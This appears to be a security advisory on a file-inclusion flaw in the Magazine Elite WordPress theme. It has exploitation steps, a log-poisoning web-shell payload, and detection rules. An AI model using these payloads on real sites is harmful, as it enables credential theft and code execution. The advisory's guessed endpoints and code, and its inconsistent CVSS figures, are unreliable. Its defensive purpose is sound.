CVE-2025-53244

Executive Summary

CVE-2025-53244 is a critical PHP Local File Inclusion (LFI) vulnerability discovered in the Magazine Elite WordPress theme by Unfoldwp, affecting all versions up to and including 1.2.4. The vulnerability stems from improper control of a filename used in a PHP include or require statement, allowing an unauthenticated attacker to include arbitrary local files from the server. This can lead to sensitive information disclosure, such as reading the wp-config.php file containing database credentials, or potentially achieving remote code execution if combined with file upload capabilities. The CVSS score of 8.1 reflects the high impact on confidentiality and the low complexity of exploitation. No public proof-of-concept (PoC) or patch is currently available, making this a high-priority unpatched threat for all sites using the affected theme.

Supply Chain & Package Security

This vulnerability resides in a WordPress theme distributed via the official WordPress theme repository and third-party marketplaces. As a WordPress ecosystem issue, it affects site owners who have installed the Magazine Elite theme. The lack of a vendor patch means that site administrators must rely on manual mitigation or removal of the theme. No known supply chain compromise of the theme's distribution channel has been reported.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – Exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): None (N) – No authentication needed.
• User Interaction (UI): None (N) – No user action required.
• Scope (S): Unchanged (U) – Vulnerability does not affect other components.
• Confidentiality (C): High (H) – Full file read access.
• Integrity (I): None (N) – No file modification.
• Availability (A): None (N) – No denial of service.

Threat Level: Critical (Unpatched, Remote, No Auth). The EPSS score of 0.0% indicates low exploitation likelihood currently, but this may change as the vulnerability becomes more widely known.

Deep Dive & Mechanics

The vulnerability exists in the magazine-elite theme's PHP code, likely within a template or custom function that uses user-supplied input to construct a file path for inclusion. The improper control of the filename allows path traversal sequences (e.g., ../../) to escape the intended directory and include arbitrary files from the server's filesystem.

Root Cause: The theme likely uses a parameter (e.g., page, template, or include) in a GET or POST request without proper sanitization or validation. This parameter is then passed directly to a PHP function like include() or require_once(). For example:

$file = $_GET['file'];
include($file . '.php');

An attacker can supply a value such as ../../../etc/passwd%00 (null byte injection) or simply ../../../wp-config to read sensitive files. The null byte technique may work on older PHP versions, but modern PHP (5.3.4+) prevents null byte injection. However, path traversal without null bytes is still effective if the extension is appended.

Attack Flow:

1. Attacker identifies a vulnerable endpoint in the theme (e.g., /wp-content/themes/magazine-elite/template.php?file=...).
2. Attacker crafts a request with path traversal sequences to target a sensitive file.
3. The server includes the file, outputting its contents in the HTTP response.
4. Attacker extracts database credentials, API keys, or other secrets.

Vulnerable vs. Patched Code

Since no patch is available, the vulnerable code is presumed to be present in all versions <= 1.2.4. A hypothetical patched version would implement strict input validation.

Vulnerable Code (Example):

// Vulnerable: Direct use of user input in include
$template = $_GET['template'];
include( get_template_directory() . '/templates/' . $template . '.php' );

Patched Code (Hypothetical):

// Patched: Whitelist allowed templates
$allowed_templates = array('default', 'full-width', 'sidebar');
$template = $_GET['template'];
if (in_array($template, $allowed_templates)) {
    include( get_template_directory() . '/templates/' . $template . '.php' );
} else {
    // Fallback to default
    include( get_template_directory() . '/templates/default.php' );
}

Exploitation & Lab Setup

Red Team

Lab Environment:

• WordPress 6.x with Magazine Elite theme v1.2.4 installed.
• PHP 7.4+ (modern versions prevent null byte injection but allow path traversal).
• Local server (e.g., XAMPP, Docker).

Exploitation Steps:

1. Identify the vulnerable parameter. Common candidates: file, page, template, include.
2. Test with a simple path traversal:

   GET /wp-content/themes/magazine-elite/some-template.php?file=../../../wp-config
   

3. If the response contains PHP code (e.g., define('DB_PASSWORD', ...)), the LFI is confirmed.
4. For RCE, attempt to include log files (e.g., /var/log/apache2/access.log) after injecting PHP code into the User-Agent header.

Example Request (LFI):

GET /wp-content/themes/magazine-elite/template.php?file=../../../wp-config HTTP/1.1
Host: target-site.com
User-Agent: Mozilla/5.0

Example Request (Log Poisoning for RCE):

GET / HTTP/1.1
Host: target-site.com
User-Agent: <?php system($_GET['cmd']); ?>

Then include the log file:

GET /wp-content/themes/magazine-elite/template.php?file=../../../var/log/apache2/access.log&cmd=id

Blue Team

Detection:

• Monitor for path traversal patterns in HTTP requests (e.g., ../, ..\\, %2e%2e%2f).
• Alert on attempts to include sensitive files like wp-config.php, /etc/passwd, or .env.
• Use Web Application Firewall (WAF) rules to block requests containing file= or template= with path traversal sequences.

Hunting:

• Search web server logs for requests to theme files with suspicious parameters.
• Look for User-Agent strings containing PHP code (log poisoning indicator).

Indicators of Compromise (IOCs)

• Network IOCs:

  • HTTP requests containing ../ or ..\\ in parameters like file, page, template.
  • Requests to /wp-content/themes/magazine-elite/ followed by path traversal.
  • User-Agent strings with embedded PHP code (e.g., <?php ... ?>).

• File System IOCs:

  • Unexpected inclusion of /etc/passwd, wp-config.php, or other sensitive files in web server logs.
  • Presence of webshells in the uploads directory (if log poisoning succeeded).

• Log IOCs:

  • Apache/Nginx access logs showing requests with %00 (null byte) or %2e%2e%2f (URL-encoded path traversal).

Detection Engineering

YARA Rule

rule CVE_2025_53244_LFI_WordPress {
    meta:
        description = "Detects path traversal attempts targeting Magazine Elite theme"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-53244"
    strings:
        $path_traversal = /(\.\.\/|\.\.\\){2,}/
        $sensitive_file = /(wp-config\.php|etc\/passwd|\.env|proc\/self\/environ)/
        $theme_path = /\/wp-content\/themes\/magazine-elite\//
    condition:
        $theme_path and ($path_traversal or $sensitive_file)
}

Sigma Rule

title: CVE-2025-53244 - Magazine Elite LFI Attempt
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects path traversal attempts in HTTP requests targeting Magazine Elite theme
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-uri-query|contains:
            - '../'
            - '..\\'
            - '%2e%2e%2f'
            - '%2e%2e%5c'
        cs-uri-stem|contains: '/wp-content/themes/magazine-elite/'
    condition: selection
falsepositives:
    - Legitimate use of relative paths in theme files (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-53244 Magazine Elite LFI Attempt"; flow:to_server; content:"/wp-content/themes/magazine-elite/"; http_uri; pcre:"/(\.\.\/|\.\.\\){2,}/Ri"; classtype:attempted-recon; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable or remove the Magazine Elite theme from all WordPress installations until a patch is released.
2. Switch to an alternative theme from a trusted vendor.
3. Implement a Web Application Firewall (WAF) rule to block path traversal patterns in HTTP requests.

Long-Term Fix:

• Monitor the Unfoldwp vendor for an official patch. If none is provided, consider forking the theme and applying the hypothetical patch described above.
• Conduct a security audit of all custom themes and plugins for similar LFI vulnerabilities.

Workaround:

• Add the following .htaccess rule to block LFI attempts:

  RewriteEngine On
  RewriteCond %{QUERY_STRING} (\.\./|\.\.\\) [NC]
  RewriteRule .* - [F,L]
  

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